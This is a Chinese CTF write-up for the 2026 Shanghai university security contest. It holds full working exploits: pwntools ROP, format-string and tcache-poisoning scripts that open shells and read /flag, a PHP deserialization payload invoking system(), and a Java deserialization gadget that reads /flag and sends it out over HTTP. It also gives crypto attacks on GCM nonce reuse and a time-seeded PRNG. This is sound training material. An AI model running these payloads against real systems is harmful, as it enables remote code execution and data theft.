第十一届上海市大学生网络安全大赛暨“磐石行动”2026第四届全国高校网络安全攻防

作者:玄网安全 发布:2026-09-06 11:56 收录:2026-09-21 08:44 2 次阅读 约 10510 字
摘要:第十一届上海市大学生网络安全大赛暨“磐石行动”2026第四届全国高校网络安全攻防 PWN1. pwn_rpg 题目信息 目标:psdxs.idss-cn.com:26483 附件:PWN 3 保护:No PIE、NX、无 Canary、No RELRO。…
推荐理由:本文涵盖「网络安全大赛」、「磐石行动」、「Pwn」等多个主题,重点关注 网络安全大赛。

第十一届上海市大学生网络安全大赛暨“磐石行动”2026第四届全国高校网络安全攻防


PWN1. pwn_rpg

题目信息

目标:psdxs.idss-cn.com:26483
附件:PWN 3

保护:No PIE、NX、无 Canary、No RELRO。

漏洞分析

input_name() 的栈布局如下:

char name[0x50];
read(0, name, 0x58);

读取长度比缓冲区多 8 字节,只能覆盖 saved RBP,不能直接覆盖返回地址。input_name() 返回后,main 继续执行,但 RBP 已被改写;main 最后的 leave; ret 会把 RSP 切换到 name 缓冲区,形成 stack pivot。

可用地址:

pop rdi; ret : 0x400b83
/bin/sh       : 0x400cea
system@plt    : 0x400630

ROP 链放在 name 缓冲区:

buffer+0x00  fake RBP
buffer+0x08  pop rdi; ret
buffer+0x10  /bin/sh
buffer+0x18  system@plt
buffer+0x50  saved RBP 低字节

由于没有栈泄露,只覆盖 saved RBP 的最低字节并枚举 256 种可能。实际远程运行中 0x01 命中。游戏部分发送 0,随后持续选择 Attack,直到胜利并触发 main 的返回。

完整 exploit

from pwn import *

context.arch = "amd64"
context.log_level = "info"

HOST, PORT = "psdxs.idss-cn.com"26483
POP_RDI = 0x400B83
SYSTEM = 0x400630
BINSH = 0x400CEA

def attempt(low):
    io = remote(HOST, PORT, timeout=2)
    try:
        chain = flat(0, POP_RDI, BINSH, SYSTEM)
        name = chain.ljust(0x50b"A") + p8(low)

        io.recvuntil(b"Enter your name:")
        io.send(name)
        io.recvuntil(b"How many hp do you want to give")
        io.sendline(b"0")
        io.recvuntil(b"> ")

        for _ in range(100):
            io.sendline(b"1")
            out = io.recvuntil(b"> ", timeout=1)
            if b"[VICTORY]" in out:
                io.sendline(b"echo PWNED; cat /flag; exit")
                out += io.recvrepeat(1)
                if b"{" in out:
                    return out
                break
            if b"[GAME OVER]" in out or b"Invalid." in out:
                break
    except (EOFError, TimeoutError):
        pass
    finally:
        io.close()
    return None

for low in range(256):
    log.info("trying saved-RBP low byte %#x", low)
    result = attempt(low)
    if result:
        print(result.decode(errors="replace"))
        break

Flag

flag{QNTkKBPnEfM8ULZhFya5IdgOojY1lr0e}

PWN2. guarded_echo

题目信息

目标:psdxs.idss-cn.com:24628
附件:guarded_echo

保护:No PIE、NX、无 Canary、No RELRO。

漏洞分析

echo_phase() 将用户输入直接作为 printf 格式串,并额外传入固定参数:

printf(input, 0x1111..., 0x2222..., 0x3333...,
       0x4444..., guard, win);

因此:

%5$p -> 随机 guard
%6$p -> win() 地址

guarded_input() 的缓冲区从 rbp-0x50 开始。guard 副本位于 rbp-0x10,因此其偏移为 0x40;saved RBP 为 0x50,saved RIP 为 0x58

正确的第二阶段长度是 0x60 = 96 字节:

0x00..0x3f  filler
0x40..0x47  leaked guard
0x48..0x57  filler / saved RBP
0x58..0x5f  leaked win()

完整 exploit

from pwn import *
import re

context.arch = "amd64"
context.log_level = "info"

io = remote("psdxs.idss-cn.com"24628, timeout=3)
io.recvuntil(b"guarded echo> ")
io.sendline(b"%5$p.%6$p")

data = io.recvuntil(b"Payload length: ")
leaks = re.search(
    rb"\[echo\]\s+(0x[0-9a-fA-F]+)\.(0x[0-9a-fA-F]+)", data
)
if not leaks:
    raise RuntimeError("guard/win leak failed")

guard = int(leaks.group(1), 16)
win = int(leaks.group(2), 16)
payload = b"A" * 0x40 + p64(guard) + b"B" * 0x10 + p64(win)

io.sendline(b"96")
io.recvuntil(b"payload> ")
io.send(payload)
print(io.recvall(timeout=3).decode(errors="replace"))

Flag

flag{YpFnEtkTj3zxyI0B1QgcMloaRXNmDUKi}

PWN3. Return_Postcard

题目信息

目标:psdxs.idss-cn.com:28306
附件:return_postcard.zip

保护:No PIE、NX、无 Canary、Full RELRO。

漏洞分析

write_postcard() 只分配 0x40 字节:

char postcard[0x40];
read_postcard_line(postcard);

read_postcard_line() 最多读取 0x100 字节,且只在遇到换行时停止,导致越界覆盖调用者的 saved RIP。

postcard 起点:rbp-0x40
saved RIP:    postcard+0x48

二进制包含隐藏函数 deliver_postcard(),地址为 0x401221,该函数打开 /flag 并通过 write_all() 输出。因此无需 libc 泄露,直接 ret2win。

完整 exploit

from pwn import *

context.arch = "amd64"
context.log_level = "info"

BIN = "/mnt/e/Datapayload/.pwn_analysis/return_postcard/return_postcard"
elf = ELF(BIN, checksec=False)
io = remote("psdxs.idss-cn.com"28306)

payload = b"A" * 0x48 + p64(elf.symbols["deliver_postcard"])
io.sendlineafter(b"Write your postcard:", payload)
print(io.recvall(timeout=3).decode(errors="replace"))

Flag

flag{M1ztwENJ0lXsb6eBPpnSmKZQ9j84Hiao}

PWN4. Tcache-vault

题目信息

目标:psdxs.idss-cn.com:26833
附件:tcache_vault.zip
libc:Ubuntu GLIBC 2.39-0ubuntu8.6

保护:PIE、NX、Canary、Full RELRO。题目使用 glibc safe-linking,因此不能直接把 tcache next 写成明文地址。

数据结构与漏洞

三个 slot 的状态分别为 free/live/released,指针保存在 .bss 的 slots 数组中。释放 relic 后,程序只把状态改为 released,却保留指针;后续 audit 和 calibrate 继续使用该指针。

漏洞组合:

  1. release 后的 stale pointer 允许读取 freed chunk 的 64 字节内容;
  2. calibrate 可直接覆盖 freed chunk 的第一个 qword,即 tcache next
  3. 两次 stage 都申请 0x40 chunk,可以把第二次分配重定向到 .bss 的 vault_area

泄露 nonce 与 PIE

先创建 A、B,再按 A、B 顺序释放,tcache 链为 [B, A]。A 是链尾,因此其 freed next 为:

A[0:8] = A >> 12

对象初始化时写入的字段为:

A+0x10 = rol(A>>12, 9) ^ session_nonce ^ C1
A+0x18 = ror(A>>12, 7) ^ audit_event ^ rol(session_nonce,17) ^ C2

所以可以先由 A+0x10 求出 nonce,再由 A+0x18 求出 audit_event,最后得到 PIE base:

nonce       = A+0x10 ^ rol(A>>12,9) ^ C1
audit_event = A+0x18 ^ ror(A>>12,7) ^ rol(nonce,17) ^ C2
PIE base    = audit_event - 0x1279

B 的 B+0x10 字段用于求 B>>12,避免假设 A、B 一定在同一页。

tcache poisoning

密封区域是:

vault_area = PIE base + 0x4050

将 B 的 freed next 改为 safe-linking 编码:

encoded_next = vault_area ^ (B >> 12)

第一次 stage 消耗 B,第二次 stage 返回 vault_area

密封记录校验

候选记录 64 字节布局:

offset 0x00: 0x5641554c545f4f4b
offset 0x08: session_nonce
offset 0x10: checksum
offset 0x18: reward 地址

checksum 的计算完全按 unlock 逻辑复现:

x = rol(reward, 13) ^ (vault_area ^ nonce) ^ C3
x ^= x >> 29
x = x * C4 mod 2^64
x ^= x >> 32

callback 必须是 reward(),地址为 PIE base + 0x12a6。校验成功后程序调用 reward,读取 /flag

完整 exploit

from pwn import *

context.arch = "amd64"
context.log_level = "info"

HOST, PORT = "psdxs.idss-cn.com"26833
MASK = (1 << 64) - 1
C1 = 0xA5D4C39B72E1680F
C2 = 0x6B18F4E29D730AC5
C3 = 0xD6E8FEB86659FD93
C4 = 0x9E6C63D0676A9A99
MAGIC = 0x5641554C545F4F4B

def rol(x, n):
    return ((x << n) | (x >> (64 - n))) & MASK

def ror(x, n):
    return ((x >> n) | (x << (64 - n))) & MASK

def checksum(reward, vault, nonce):
    x = rol(reward, 0xD) ^ (vault ^ nonce) ^ C3
    x ^= x >> 0x1D
    x = (x * C4) & MASK
    return x ^ (x >> 0x20)

def choose(io, action):
    io.sendlineafter(b"> ", str(action).encode())

def store(io, slot, label):
    choose(io, 1)
    io.sendlineafter(b"slot: ", str(slot).encode())
    io.sendlineafter(b"label: ", label)

def release(io, slot):
    choose(io, 2)
    io.sendlineafter(b"slot: ", str(slot).encode())

def audit(io, slot):
    choose(io, 3)
    io.sendlineafter(b"slot: ", str(slot).encode())
    io.recvuntil(b"DATA: ")
    raw = io.recvline().strip()
    if len(raw) != 128:
        raise RuntimeError("unexpected audit length")
    return bytes.fromhex(raw.decode())

def calibrate(io, slot, value):
    choose(io, 4)
    io.sendlineafter(b"slot: ", str(slot).encode())
    io.sendlineafter(
        b"next (16 hex digits): "f"{value:016x}".encode()
    )

def stage(io, payload):
    choose(io, 5)
    io.recvuntil(b"payload (64 bytes): ")
    io.send(payload)

io = remote(HOST, PORT)
store(io, 0b"A")
store(io, 1b"B")
release(io, 0)
release(io, 1)

data_a = audit(io, 0)
page_a = u64(data_a[0:8])
f1_a = u64(data_a[0x10:0x18])
f2_a = u64(data_a[0x18:0x20])
nonce = f1_a ^ rol(page_a, 9) ^ C1

data_b = audit(io, 1)
f1_b = u64(data_b[0x10:0x18])
page_b = ror(f1_b ^ nonce ^ C1, 9)

audit_event = f2_a ^ ror(page_a, 7) ^ rol(nonce, 0x11) ^ C2
base = audit_event - 0x1279
vault = base + 0x4050
reward = base + 0x12A6

calibrate(io, 1, vault ^ page_b)
stage(io, b"A" * 64)

candidate = flat(
    MAGIC,
    nonce,
    checksum(reward, vault, nonce),
    reward,
    b"\x00" * (64 - 0x20),
)
stage(io, candidate)

choose(io, 6)
print(io.recvall(timeout=3).decode(errors="replace"))

Flag

flag{rckNHUs8ZOF3lMR1py642xhWbCoLAqwi}

总结

题目
核心技术
远程端口
Flag
pwn_rpg
saved RBP 覆盖 + leave;ret stack pivot + ret2libc
26483
flag{QNTkKBPnEfM8ULZhFya5IdgOojY1lr0e}
guarded_echo
format string leak + 栈溢出 ret2win
24628
flag{YpFnEtkTj3zxyI0B1QgcMloaRXNmDUKi}
Return_Postcard
unchecked line read + ret2win
28306
flag{M1ztwENJ0lXsb6eBPpnSmKZQ9j84Hiao}
Tcache-vault
UAF + safe-linking tcache poisoning + 自定义校验
26833
flag{rckNHUs8ZOF3lMR1py642xhWbCoLAqwi}

WEB1:PHP POP Chain

第 1 步:源码审计

页面泄露的核心源码如下:

<?php

class A {
    private $evil;
    private $a;

    function __destruct() {
        $s = $this->a;
        $s($this->evil);
    }
}

class B {
    private $b;

    function __invoke($c) {
        $s = $this->b;
        $s($c);
    }
}

if (isset($_GET['data'])) {
    $a = unserialize($_GET['data']);
else {
    highlight_file(__FILE__);
}

漏洞分别为:

  1. highlight_file(__FILE__) 造成源码泄露,攻击者可以获知类名、属性名和 magic method。
  2. unserialize($_GET['data']) 对用户可控数据进行反序列化,没有签名校验或类白名单。
  3. A::__destruct() 将属性 a 当作函数调用;如果 a 是 B 对象,会触发 B::__invoke()
  4. B::__invoke() 再将属性 b 当作函数调用;设置为 system 后即可执行操作系统命令。

调用链为:

unserialize(data)
  -> A::__destruct()
  -> A::$a(B object)
  -> B::__invoke(A::$evil)
  -> B::$b(system)
  -> system(command)

第 2 步:构造序列化 payload

PHP 私有属性在序列化字符串中必须写成 NUL + 类名 + NUL + 属性名

A::$evil  = "\x00A\x00evil"  长度 7
A::$a     = "\x00A\x00a"     长度 4
B::$b     = "\x00B\x00b"     长度 4

用于验证命令执行的原始 payload:

O:1:"A":2:{s:7:"\x00A\x00evil";s:6:"whoami";s:4:"\x00A\x00a";O:1:"B":1:{s:4:"\x00B\x00b";s:6:"system";}}

注意:上面代码块中的 \x00 表示实际 NUL 字节(0x00),不是四个可打印字符。URL 编码后的请求可使用 Python requests 自动编码;等价的 payload 参数形式为:

O%3A1%3A%22A%22%3A2%3A%7Bs%3A7%3A%22%00A%00evil%22%3Bs%3A6%3A%22whoami%22%3Bs%3A4%3A%22%00A%00a%22%3BO%3A1%3A%22B%22%3A1%3A%7Bs%3A4%3A%22%00B%00b%22%3Bs%3A6%3A%22system%22%3B%7D%7D

请求:

GET /?data=<URL-encoded-payload> HTTP/1.1
Host: psdxs.idss-cn.com:22756

服务器响应:

www-data

这证明 A::__destruct()B::__invoke() 和 system() 均已触发。

第 3 步:读取 flag

将命令替换为 ls / 可看到根目录下存在 flag 文件,再使用 cat /flag 读取。命令字符串长度必须准确填写:whoami 为 6 字节,cat /flag 为 8 字节。

读取 flag 的原始 payload:

O:1:"A":2:{s:7:"\x00A\x00evil";s:8:"cat /flag";s:4:"\x00A\x00a";O:1:"B":1:{s:4:"\x00B\x00b";s:6:"system";}}

完整利用脚本见 solve.py:

import argparse
import requests

URL = "http://psdxs.idss-cn.com:22756/"


def build_payload(command: str) -> str:
    command_length = len(command.encode("utf-8"))
    return (
        'O:1:"A":2:{'
        f's:7:"\x00A\x00evil";s:{command_length}:"{command}";'
        's:4:"\x00A\x00a";'
        'O:1:"B":1:{s:4:"\x00B\x00b";s:6:"system";}'
        '}'
    )


def execute(command: str) -> str:
    response = requests.get(URL, params={"data": build_payload(command)}, timeout=15)
    response.raise_for_status()
    return response.text.strip()


for command in ("whoami""ls /""cat /flag"):
    print(f"$ {command}")
    print(execute(command))

实测输出:

$ whoami
www-data

$ ls /
... flag ...

$ cat /flag
flag{YjKErm0WyISwLc5uHCxdDOlPZnp7ieQz}

WEB2.Babygadget

摘要

/api/legacy-sso/ticket/verify 接收 Authorization: Bearer 票据,经过 URL 解码、Base64 解码和 AES-CBC 解密后,直接使用 ObjectInputStream.readObject() 反序列化不可信数据。应用自带的 HashCode 类在 hashCode() 中调用 defineClass() 和 newInstance(),可作为 Java 反序列化 gadget 动态加载并实例化攻击者提供的 class。

解题过程

第 1 步:还原票据格式

反编译 Login.class 得到服务端要求的明文序列化头:

writeLong(9143923155895290750L)
writeUTF("admin")
writeObject(...)

Crypto.class 中的实际参数为:

AES/CBC/PKCS5Padding
key = TAKETHEAESKEY123
iv  = 2026071620260716

题面提到的 Shiro 默认密钥并未被该服务端使用。票据经过 AES 加密后再 Base64 编码,并作为 URL 编码后的 Bearer 值提交;否则 Base64 中的 + 会在服务端 URLDecoder.decode() 时变为空格。

第 2 步:触发 HashCode gadget

HashCode 实现了 Serializable,字段 ClassByte 保存 class 文件字节。将其作为 HashMap 的 key 后,HashMap.readObject() 会调用 key 的 hashCode()

HashMap.readObject()
  -> HashCode.hashCode()
  -> defineClass(null, ClassByte, 0, ClassByte.length)
  -> Class.newInstance()

恶意 class 的构造器读取 /flag,然后通过 HTTP GET 回调带出内容。目标运行时为 Java 8,因此恶意 class 必须使用 javac --release 8 编译;使用 JDK 21 默认字节码会导致服务端返回 500。

本地生成序列化对象并加密提交:

# 编译 Evil.java 和 PayloadGen.java
D:\CTF\JDK-21\bin\javac.exe --release 8 -cp . .\Evil.java .\PayloadGen.java
D:\CTF\JDK-21\bin\java.exe -cp . PayloadGen > payload.b64

# AES-CBC/PKCS7(Java 的 PKCS5Padding 对 AES 等价于 PKCS7)
$key = [Text.Encoding]::UTF8.GetBytes('TAKETHEAESKEY123')
$iv = [Text.Encoding]::UTF8.GetBytes('2026071620260716')
$aes = [Security.Cryptography.Aes]::Create()
$aes.Mode = 'CBC'; $aes.Padding = 'PKCS7'; $aes.Key = $key; $aes.IV = $iv
$plain = [Convert]::FromBase64String([IO.File]::ReadAllText('.\payload.b64'))
$cipher = $aes.CreateEncryptor().TransformFinalBlock($plain, 0, $plain.Length)
$ticket = [uri]::EscapeDataString([Convert]::ToBase64String($cipher))

Invoke-WebRequest `
  -Uri 'http://psdxs.idss-cn.com:29906/api/legacy-sso/ticket/verify' `
  -Method Post -Headers @{ Authorization = "Bearer $ticket" } `
  -UseBasicParsing

服务端返回 Legacy administrator session restored,回调请求中得到:

flag{cra7KvMPNYF0dm3AuzXnt5CxHbURQJOB}

MISC1.stereo_secret

摘要

题目给出一段双声道 WAV。左、右声道单独播放时只有相同的设备噪声,说明有效信息位于声道差分而不是公共信号中。对 L-R 做 1 kHz 窄带幅度检测,可得到按时长编码的摩斯码。

第 1 步:提取立体声差分

读取 WAV 后计算:

diff = left - right

原始左右声道高度相关(相关系数约 0.989),而 L-R 中出现明显的 1 kHz 分量;这正是被左右声道共同噪声掩盖的隐藏载波。

第 2 步:按时长解码摩斯码

以 220 个采样点为窗口,计算 1 kHz 分量幅度。幅度超过 500 视为有效载波;有效段长度小于 30 个窗口为点,大于等于 30 个窗口为划,空闲段大于等于 40 个窗口表示字母间隔。

完整脚本如下:

#!/usr/bin/env python3
import sys
import wave
import numpy as np

MORSE = {
    ".-":"A""-...":"B""-.-.":"C""-..":"D"".":"E",
    "..-.":"F""--.":"G""....":"H""..":"I"".---":"J",
    "-.-":"K"".-..":"L""--":"M""-.":"N""---":"O",
    ".--.":"P""--.-":"Q"".-.":"R""...":"S""-":"T",
    "..-":"U""...-":"V"".--":"W""-..-":"X""-.--":"Y",
    "--..":"Z""-----":"0"".----":"1""..---":"2",
    "...--":"3""....-":"4"".....":"5""-....":"6",
    "--...":"7""---..":"8""----.":"9",
    "..--.-":"_",
}

with wave.open(sys.argv[1], "rb"as wav:
    fs = wav.getframerate()
    raw = np.frombuffer(wav.readframes(wav.getnframes()), dtype="<i2")
stereo = raw.reshape(-12).astype(float)
diff = stereo[:, 0] - stereo[:, 1]

window = 220
t = np.arange(window)
c = np.cos(2 * np.pi * 1000 * t / fs)
s = np.sin(2 * np.pi * 1000 * t / fs)
amp = []
for off in range(0, len(diff) - window + 1, window):
    block = diff[off:off + window]
    amp.append(2 / window * np.hypot(np.dot(block, c), np.dot(block, s)))
active = np.asarray(amp) > 500

runs, start = [], 0
for i in range(1, len(active) + 1):
    if i == len(active) or active[i] != active[start]:
        runs.append((bool(active[start]), i - start))
        start = i

letters, symbol = [], ""
for state, length in runs:
    if state:
        symbol += "." if length < 30 else "-"
    elif length >= 40 and symbol:
        letters.append(symbol)
        symbol = ""
if symbol:
    letters.append(symbol)

message = "".join(MORSE[x] for x in letters)
print(message)
print(f"flag{{{message.lower()}}}")

运行结果:

STEREO_DIFFERENCE
flag{stereo_difference}

CRYPTO1. AES-GCM nonce 重用

1.1 题目源码

#!/usr/bin/env python3
import json
import secrets
from pathlib import Path
from Crypto.Cipher import AES

OUTPUT = Path(__file__).with_name("records.json")
AAD = b"telemetry-v1"
PLAINTEXTS = [b"role=user;uid=01"b"role=user;uid=02"]
TARGET = b"admin=true;uid=0"

def encrypt_record(key: bytes, nonce: bytes, plaintext: bytes) -> dict[str, str]:
    cipher = AES.new(key, AES.MODE_GCM, nonce=nonce, mac_len=16)
    cipher.update(AAD)
    ciphertext, tag = cipher.encrypt_and_digest(plaintext)
    return {
        "plaintext": plaintext.hex(),
        "ciphertext": ciphertext.hex(),
        "tag": tag.hex(),
    }

def main() -> None:
    key = secrets.token_bytes(16)
    nonce = secrets.token_bytes(12)
    records = [encrypt_record(key, nonce, plaintext) for plaintext in PLAINTEXTS]
    instance = {
        "nonce": nonce.hex(),
        "aad": AAD.hex(),
        "records": records,
        "target_plaintext": TARGET.hex(),
    }
    OUTPUT.write_text(json.dumps(instance, indent=2) + "\n", encoding="utf-8")

if __name__ == "__main__":
    main()
import hashlib

R = 0xE1000000000000000000000000000000
IDENTITY = 1 << 127

def gf_mul(x: int, y: int) -> int:
    z = 0
    v = y
    for bit in range(127-1-1):
        if (x >> bit) & 1:
            z ^= v
        v = (v >> 1) ^ (R if v & 1 else 0)
    return z

def ghash(h: int, aad: bytes, ciphertext: bytes) -> int:
    def blocks(data):
        padded = data + b"\0" * ((-len(data)) % 16)
        return [int.from_bytes(padded[i:i + 16], "big")
                for i in range(0, len(padded), 16)]
    value = 0
    for block in blocks(aad) + blocks(ciphertext):
        value = gf_mul(value ^ block, h)
    lengths = ((len(aad) * 8) << 64) | (len(ciphertext) * 8)
    return gf_mul(value ^ lengths, h)

def submission_flag(nonce: bytes, ciphertext: bytes, tag: bytes) -> str:
    return "flag{" + hashlib.sha256(nonce + ciphertext + tag).hexdigest()[:32] + "}"

1.2 核心漏洞

两条消息使用同一个 GCM nonce。GCM 的 CTR 加密部分因此复用同一段 keystream。已知 P1 和 C1 时,可以构造任意目标明文 P* 的 ciphertext:

C* = C1 XOR P1 XOR P*

认证 tag 也可以恢复。由于两条消息的 AAD、长度和 block 数完全相同,GHASH 的公共项抵消,得到:

T1 XOR T2 = (C1 XOR C2) * H^2

于是:

H^2 = (T1 XOR T2) * (C1 XOR C2)^-1
H   = (H^2)^(2^127)

这里必须注意 verifier.py 的有限域乘法不是普通整数乘法,其乘法单位元是 1 << 127。因此幂运算的初始值也必须使用 1 << 127

已构造的管理员消息为:

plaintext  = admin=true;uid=0
ciphertext = f6287e2bf443fcc49933d0483112e655
tag        = f30062dc9c5bbdfb84439af26795257a

1.3 完整解题脚本

#!/usr/bin/env python3
import hashlib
import json
import sys
from pathlib import Path

ROOT = Path(sys.argv[1]) if len(sys.argv) > 1 else Path(r"E:\\Datapayload\\crypto_extracted")
R = 0xE1000000000000000000000000000000
IDENTITY = 1 << 127

def mul(x, y):
    z, v = 0, y
    for bit in range(127-1-1):
        if (x >> bit) & 1:
            z ^= v
        v = (v >> 1) ^ (R if v & 1 else 0)
    return z

def power(x, e):
    result = IDENTITY
    while e:
        if e & 1:
            result = mul(result, x)
        x = mul(x, x)
        e >>= 1
    return result

def inverse(x):
    return power(x, (1 << 128) - 2)

def ghash(h, aad, ciphertext):
    blocks = []
    for data in (aad, ciphertext):
        padded = data + b"\0" * ((-len(data)) % 16)
        blocks.extend(int.from_bytes(padded[i:i + 16], "big")
                      for i in range(0, len(padded), 16))
    value = 0
    for block in blocks:
        value = mul(value ^ block, h)
    lengths = (len(aad) * 8 << 64) | (len(ciphertext) * 8)
    return mul(value ^ lengths, h)

def main():
    data = json.loads((ROOT / "附件" / "records.json").read_text())
    aad = bytes.fromhex(data["aad"])
    nonce = bytes.fromhex(data["nonce"])
    first, second = data["records"]
    c1 = bytes.fromhex(first["ciphertext"])
    c2 = bytes.fromhex(second["ciphertext"])
    t1, t2 = int(first["tag"], 16), int(second["tag"], 16)
    delta_c = int.from_bytes(bytes(a ^ b for a, b in zip(c1, c2)), "big")
    h2 = mul(t1 ^ t2, inverse(delta_c))
    h = power(h2, 1 << 127)
    p1 = bytes.fromhex(first["plaintext"])
    target = bytes.fromhex(data["target_plaintext"])
    target_c = bytes(a ^ b ^ c for a, b, c in zip(c1, p1, target))
    mask = t1 ^ ghash(h, aad, c1)
    target_tag = (mask ^ ghash(h, aad, target_c)).to_bytes(16"big")
    flag = hashlib.sha256(nonce + target_c + target_tag).hexdigest()[:32]
    print("ciphertext:", target_c.hex())
    print("tag:", target_tag.hex())
    print(f"flag{{{flag}}}")

if __name__ == "__main__":
    main()

运行输出:

ciphertext: f6287e2bf443fcc49933d0483112e655
tag: f30062dc9c5bbdfb84439af26795257a
flag{f7b2a3eb374eaeebfe8a46aaa8c48a38}

CRYPTO2. Xorshift32 时间种子

2.1 题目源码

#!/usr/bin/env python3
import json
import secrets
import time
from pathlib import Path

OUTPUT = Path(__file__).with_name("capture.json")
WINDOW_SECONDS = 6 * 60 * 60

def xorshift32(x: int) -> int:
    x ^= (x << 13) & 0xFFFFFFFF
    x ^= x >> 17
    x ^= (x << 5) & 0xFFFFFFFF
    return x & 0xFFFFFFFF

def stream(seed: int, length: int) -> bytes:
    state = seed & 0xFFFFFFFF
    output = bytearray()
    while len(output) < length:
        state = xorshift32(state)
        output.extend(state.to_bytes(4"little"))
    return bytes(output[:length])

def encrypt(message: bytes, seed: int) -> bytes:
    keystream = stream(seed, len(message))
    return bytes(left ^ right for left, right in zip(message, keystream))

def main() -> None:
    from secret import flag
    event_timestamp = int(time.time())
    offset_in_window = secrets.randbelow(WINDOW_SECONDS + 1)
    window_start = event_timestamp - offset_in_window
    window_end = window_start + WINDOW_SECONDS
    ciphertext = encrypt(flag, event_timestamp)
    capture = {
        "window_start": window_start,
        "window_end": window_end,
        "ciphertext": ciphertext.hex(),
    }
    OUTPUT.write_text(json.dumps(capture, indent=2) + "\n", encoding="utf-8")

if __name__ == "__main__":
    main()
{
  "window_start"1786147200,
  "window_end"1786168800,
  "ciphertext""c918c61e8d4a0c1212e7c9ef63a9b7f8a27fe6c839590c2b0627ea966ff4ad5fbac5"
}

2.2 核心漏洞

程序把 int(time.time()) 直接作为密码学种子。虽然没有泄露精确时间,但泄露了一个 6 小时窗口:

window_end - window_start = 21600

所以最多只有 21601 个候选 seed。Xorshift32 是确定性 PRNG,给定 seed 后输出完全可预测,直接枚举并用 flag{...} 格式筛选即可。

2.3 完整解题脚本

#!/usr/bin/env python3
import json
import sys
from pathlib import Path

ROOT = Path(sys.argv[1]) if len(sys.argv) > 1 else Path(r"E:\\Datapayload\\crypto_extracted")

def xorshift32(x):
    x &= 0xffffffff
    x ^= (x << 13) & 0xffffffff
    x ^= x >> 17
    x ^= (x << 5) & 0xffffffff
    return x & 0xffffffff

def stream(seed, length):
    state, out = seed & 0xffffffff, bytearray()
    while len(out) < length:
        state = xorshift32(state)
        out.extend(state.to_bytes(4"little"))
    return bytes(out[:length])

def main():
    data = json.loads((ROOT / "附件 (2)" / "capture.json").read_text())
    ciphertext = bytes.fromhex(data["ciphertext"])
    for seed in range(data["window_start"], data["window_end"] + 1):
        plaintext = bytes(a ^ b for a, b in zip(ciphertext, stream(seed, len(ciphertext))))
        try:
            text = plaintext.decode("ascii")
        except UnicodeDecodeError:
            continue
        if text.startswith("flag{"and text.endswith("}"):
            print("seed:", seed)
            print(text)
            return
    raise SystemExit("no seed found")

if __name__ == "__main__":
    main()

运行输出:

seed: 1786159697
flag{seconds_are_not_secret_seeds}

CRYPTO3. NTRU 风格多项式加密

3.1 题目源码

与漏洞直接相关的完整源码如下:

#!/usr/bin/env python3
import hashlib
import hmac
import json
import secrets
from pathlib import Path

N = 256
Q = 12289
OUTPUT = Path(__file__).with_name("output.json")

def derive_seed(master: bytes, label: bytes) -> bytes:
    normalized_label = label[:6]
    return hmac.new(master, normalized_label, hashlib.sha256).digest()

def sample_small(master: bytes, label: bytes) -> list[int]:
    seed = derive_seed(master, label)
    stream = hashlib.shake_256(seed).digest(N)
    return [(byte % 3) - 1 for byte in stream]

def negacyclic_rotate(poly: list[int], amount: int) -> list[int]:
    result = [0] * N
    for index, coefficient in enumerate(poly):
        target = index + amount
        if target >= N:
            result[target - N] -= coefficient
        else:
            result[target] += coefficient
    return result

def negacyclic_mul(left: list[int], right: list[int]) -> list[int]:
    result = [0] * N
    for i, a_i in enumerate(left):
        for j, b_j in enumerate(right):
            target = i + j
            if target >= N:
                result[target - N] -= a_i * b_j
            else:
                result[target] += a_i * b_j
    return [value % Q for value in result]

def add(*polynomials: list[int]) -> list[int]:
    return [sum(values) % Q for values in zip(*polynomials)]

def keygen() -> tuple[list[int], list[int], int]:
    master = secrets.token_bytes(32)
    rotation = secrets.randbelow(N - 1) + 1
    secret = sample_small(master, b"secret-key")
    raw_error = sample_small(master, b"secret-noise")
    error = negacyclic_rotate(raw_error, rotation)
    while True:
        public_a = [secrets.randbelow(Q) for _ in range(N)]
        vulnerable_factor = public_a.copy()
        vulnerable_factor[rotation] = (vulnerable_factor[rotation] + 1) % Q
        if is_unit(vulnerable_factor):
            break
    public_b = add(negacyclic_mul(public_a, secret), error)
    return public_a, public_b, rotation

def encrypt(public_a, public_b, message):
    ephemeral_r = sample_small(secrets.token_bytes(32), b"encrypt-r")
    error_1 = sample_small(secrets.token_bytes(32), b"encrypt-e1")
    error_2 = sample_small(secrets.token_bytes(32), b"encrypt-e2")
    encoded = encode_message(message)
    u = add(negacyclic_mul(public_a, ephemeral_r), error_1)
    v = add(negacyclic_mul(public_b, ephemeral_r), error_2, encoded)
    return u, v

源码中剩余函数也属于题目源码的一部分,完整补充如下:

def add(*polynomials: list[int]) -> list[int]:
    return [sum(values) % Q for values in zip(*polynomials)]

def trim(poly: list[int]) -> list[int]:
    poly = [coefficient % Q for coefficient in poly]
    while len(poly) > 1 and poly[-1] == 0:
        poly.pop()
    return poly

def polynomial_remainder(dividend: list[int], divisor: list[int]) -> list[int]:
    dividend = trim(dividend)
    divisor = trim(divisor)
    inverse_lead = pow(divisor[-1], -1, Q)
    while len(dividend) >= len(divisor) and dividend != [0]:
        scale = dividend[-1] * inverse_lead % Q
        offset = len(dividend) - len(divisor)
        for index, coefficient in enumerate(divisor):
            dividend[index + offset] = (dividend[index + offset] -
                                         scale * coefficient) % Q
        dividend = trim(dividend)
    return dividend

def is_unit(poly: list[int]) -> bool:
    left = trim(poly)
    right = [1] + [0] * (N - 1) + [1]
    while right != [0]:
        left, right = right, polynomial_remainder(left, right)
    return len(trim(left)) == 1 and trim(left)[0] != 0

def encode_message(message: bytes) -> list[int]:
    padded = message.ljust(N // 8b"\0")
    bits = [(byte >> shift) & 1 for byte in padded for shift in range(7-1-1)]
    return [bit * (Q // 2for bit in bits]

def main() -> None:
    from secret import flag
    public_a, public_b, rotation = keygen()
    u, v = encrypt(public_a, public_b, flag)
    instance = {"n": N, "q": Q, "rotation": rotation,
                "a": public_a, "b": public_b, "u": u, "v": v}
    OUTPUT.write_text(json.dumps(instance, indent=2) + "\n", encoding="utf-8")

if __name__ == "__main__":
    main()

因此本节源码代码块与原始 task.py 合起来即为完整题目源码;也可直接打开上面的原始文件链接。

3.2 核心漏洞

KDF 的 domain-separation 标签被错误截断:

normalized_label = label[:6]

因此:

secret-key   -> secret
secret-noise -> secret

两个 HMAC 输入相同,导致:

secret = raw_error = s

旋转操作等价于在负循环环中乘以 x^rotation,公钥关系变成:

b = a*s + x^rotation*s
  = (a + x^rotation)*s mod (x^256+1, 12289)

题目通过 is_unit() 保证 a+x^rotation 可逆,所以可以直接求逆恢复秘密:

s = (a+x^rotation)^-1 * b

解密时:

v - s*u = encoded_message + small_noise

